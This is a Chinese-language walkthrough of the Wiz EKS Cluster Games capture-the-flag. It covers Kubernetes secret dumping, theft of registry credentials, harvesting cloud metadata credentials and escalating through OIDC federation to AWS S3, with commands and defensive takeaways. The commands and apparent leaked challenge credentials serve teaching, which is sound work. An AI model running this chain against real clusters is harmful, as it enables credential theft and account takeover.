从EKS CLUSTER GAMES看云原生安全
字数 1717 2025-08-19 12:41:42

从EKS CLUSTER GAMES看云原生安全实战

前言

本文基于WIZ举办的EKS Cluster Games云原生安全挑战赛,详细解析了5个不同难度的Kubernetes安全挑战。这些挑战模拟了真实世界中的云原生安全场景,涵盖了从基础权限提升到AWS账户横向移动的完整攻击链。

挑战一:Secret Seeker

目标:列出集群中的所有secrets并找到flag

给定权限

{
    "secrets": [
        "get",
        "list"
    ]
}

解题步骤

  1. 使用kubectl get secrets列出所有secret
  2. 发现名为log-rotate的secret包含flag
  3. 解码base64格式的flag

关键命令

kubectl get secrets log-rotate -o yaml
echo "d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==" | base64 -d

安全要点

  • Kubernetes Secret使用Base64编码而非加密,本质上不安全
  • 过度授权(over-privileged)的secret访问权限会导致信息泄露
  • 敏感信息不应仅依赖Secret机制保护

挑战二:Registry Hunt

目标:通过检查容器注册表获取flag

给定权限

{
    "secrets": [
        "get"
    ],
    "pods": [
        "list",
        "get"
    ]
}

解题步骤

  1. 检查pod配置,发现imagePullSecrets
  2. 获取并解码.dockerconfigjson中的认证信息
  3. 使用crane工具登录Docker registry
  4. 检查镜像配置获取flag

关键命令

kubectl get pods -o yaml
kubectl get secret registry-pull-secrets-780bab1d --namespace=challenge2 -o json
crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
crane config eksclustergames/base_ext_image:latest

安全要点

  • imagePullSecrets可能泄露容器注册表凭据
  • 容器镜像历史可能包含敏感信息(如flag)
  • 真实案例:阿里云和IBM云曾出现类似跨租户未授权访问漏洞

挑战三:Image Inquisition

目标:通过检查ECR仓库中的镜像层获取flag

给定权限

{
    "pods": [
        "list",
        "get"
    ]
}

解题步骤

  1. 检查pod信息获取ECR仓库地址
  2. 通过元数据服务获取AWS临时凭证
  3. 使用AWS CLI获取ECR登录密码
  4. 使用crane检查镜像配置获取flag

关键命令

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMQNCHP4P5
export AWS_SECRET_ACCESS_KEY=a+2FDCofUYQrvZUHKdPUMP4RxMNmdjYpqwC1En6M
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEIz...
aws ecr get-login-password | crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

安全要点

  • 云服务元数据服务(IMDS)可能泄露高权限凭证
  • 容器镜像构建历史可能暴露敏感信息
  • 各云厂商元数据服务地址:
    • AWS: http://169.254.169.254
    • Google Cloud: http://metadata.google.internal
    • Azure: http://169.254.169.254
    • Alibaba Cloud: http://100.100.100.200
    • Tencent Cloud: http://metadata.tencentyun.com

挑战四:Pod Break

目标:从受限服务账户提升到节点服务账户权限

解题步骤

  1. 获取当前AWS身份信息
  2. 使用AWS CLI获取EKS集群token
  3. 利用token列举集群权限和资源
  4. 获取secrets中的flag

关键命令

aws sts get-caller-identity
aws eks get-token --cluster-name eks-challenge-cluster
kubectl auth can-i --list --token="k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20v..."
kubectl get secrets -o yaml --token="k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20v..."

安全要点

  • EKS节点服务账户通常具有较高权限
  • 获取节点角色凭证后可横向移动至集群管理平面
  • 现实中此类配置错误非常常见

挑战五:Container Secrets Infrastructure

目标:从EKS节点权限提升到AWS账户权限,获取S3中的flag

IAM策略

{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}

解题步骤

  1. 创建带有特定audience(sts.amazonaws.com)的service account token
  2. 使用token获取AWS临时凭证
  3. 访问S3存储桶获取flag

关键命令

kubectl create token debug-sa --audience sts.amazonaws.com
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM4Z35S2XF
export AWS_SECRET_ACCESS_KEY=BmwwpthMz2ivzM1yCkD0InVyUHoxYK09ojkOP7VD
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEIj...
aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag ./flag

安全要点

  • OIDC(OpenID Connect)可用于Kubernetes与AWS的联合身份验证
  • 通过创建特定audience的token可实现Kubernetes到AWS的权限提升
  • 最小权限原则在云原生环境中尤为重要

总结

这五个挑战展示了云原生环境中完整的安全攻击链:

  1. 从容器内低权限开始
  2. 利用配置错误和过度授权提升权限
  3. 通过元数据服务获取云凭据
  4. 横向移动至集群管理平面
  5. 最终通过联合身份验证接管云账户

关键防御措施

  • 实施最小权限原则
  • 保护元数据服务访问
  • 定期审计RBAC和IAM策略
  • 监控异常token创建和API调用
  • 避免在镜像历史和构建过程中暴露敏感信息

这些挑战基于真实世界的安全漏洞,理解这些攻击技术对于构建安全的云原生环境至关重要。

从EKS CLUSTER GAMES看云原生安全实战 前言 本文基于WIZ举办的EKS Cluster Games云原生安全挑战赛,详细解析了5个不同难度的Kubernetes安全挑战。这些挑战模拟了真实世界中的云原生安全场景,涵盖了从基础权限提升到AWS账户横向移动的完整攻击链。 挑战一:Secret Seeker 目标 :列出集群中的所有secrets并找到flag 给定权限 : 解题步骤 : 使用 kubectl get secrets 列出所有secret 发现名为 log-rotate 的secret包含flag 解码base64格式的flag 关键命令 : 安全要点 : Kubernetes Secret使用Base64编码而非加密,本质上不安全 过度授权(over-privileged)的secret访问权限会导致信息泄露 敏感信息不应仅依赖Secret机制保护 挑战二:Registry Hunt 目标 :通过检查容器注册表获取flag 给定权限 : 解题步骤 : 检查pod配置,发现 imagePullSecrets 获取并解码 .dockerconfigjson 中的认证信息 使用crane工具登录Docker registry 检查镜像配置获取flag 关键命令 : 安全要点 : imagePullSecrets可能泄露容器注册表凭据 容器镜像历史可能包含敏感信息(如flag) 真实案例:阿里云和IBM云曾出现类似跨租户未授权访问漏洞 挑战三:Image Inquisition 目标 :通过检查ECR仓库中的镜像层获取flag 给定权限 : 解题步骤 : 检查pod信息获取ECR仓库地址 通过元数据服务获取AWS临时凭证 使用AWS CLI获取ECR登录密码 使用crane检查镜像配置获取flag 关键命令 : 安全要点 : 云服务元数据服务(IMDS)可能泄露高权限凭证 容器镜像构建历史可能暴露敏感信息 各云厂商元数据服务地址: AWS: http://169.254.169.254 Google Cloud: http://metadata.google.internal Azure: http://169.254.169.254 Alibaba Cloud: http://100.100.100.200 Tencent Cloud: http://metadata.tencentyun.com 挑战四:Pod Break 目标 :从受限服务账户提升到节点服务账户权限 解题步骤 : 获取当前AWS身份信息 使用AWS CLI获取EKS集群token 利用token列举集群权限和资源 获取secrets中的flag 关键命令 : 安全要点 : EKS节点服务账户通常具有较高权限 获取节点角色凭证后可横向移动至集群管理平面 现实中此类配置错误非常常见 挑战五:Container Secrets Infrastructure 目标 :从EKS节点权限提升到AWS账户权限,获取S3中的flag IAM策略 : 解题步骤 : 创建带有特定audience(sts.amazonaws.com)的service account token 使用token获取AWS临时凭证 访问S3存储桶获取flag 关键命令 : 安全要点 : OIDC(OpenID Connect)可用于Kubernetes与AWS的联合身份验证 通过创建特定audience的token可实现Kubernetes到AWS的权限提升 最小权限原则在云原生环境中尤为重要 总结 这五个挑战展示了云原生环境中完整的安全攻击链: 从容器内低权限开始 利用配置错误和过度授权提升权限 通过元数据服务获取云凭据 横向移动至集群管理平面 最终通过联合身份验证接管云账户 关键防御措施 : 实施最小权限原则 保护元数据服务访问 定期审计RBAC和IAM策略 监控异常token创建和API调用 避免在镜像历史和构建过程中暴露敏感信息 这些挑战基于真实世界的安全漏洞,理解这些攻击技术对于构建安全的云原生环境至关重要。